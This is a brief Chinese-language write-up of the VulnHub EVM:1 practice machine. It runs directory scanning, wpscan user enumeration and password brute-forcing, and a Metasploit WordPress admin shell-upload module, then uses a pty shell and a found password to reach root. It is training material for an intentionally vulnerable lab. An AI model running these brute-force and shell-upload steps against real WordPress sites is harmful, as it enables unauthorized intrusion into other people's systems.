Vulhub-EVM1靶機

一.環境搭建
https://www.vulnhub.com/entry/evm-1,391/

下載ova鏡像文件，vbox導入，設置兩張虛擬網卡，分別為NAT模式和僅主機模式（改為默認網卡配置）

ip為192.168.124.156
二.信息搜集：
（端口掃描）

（目錄掃描）
開始使用dirb進行目錄掃描dirb http://192.168.124.56/

從目錄掃描看出他有wordpress所以先試試之前使用過的工具wpscan

wpscan --url http://192.168.124.56/wordpress/ -e u

成功得到賬號c0rrupt3d_brain，現在繼續破解他的密碼
wpscan --url http://192.168.124.56/wordpress/ -e u -P /chen.txt

成功破解出密碼24992499

現在開始使用msfconsole 使用模塊

unix/webapp/wp_admin_shell_upload
set RhOSTS 192.168.124.56
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run

直接進入他的家目錄之后cd root3r 進來之后發現有一個文件似乎是root密碼文件

現在進行查看發現似乎是密碼，既然已經知道了密碼所以接下來進入交互頁面如下圖：

shell
python -c "import pty;pty.spawn('/bin/bash')"
su root

密碼輸入為:willy26

成功拿到root
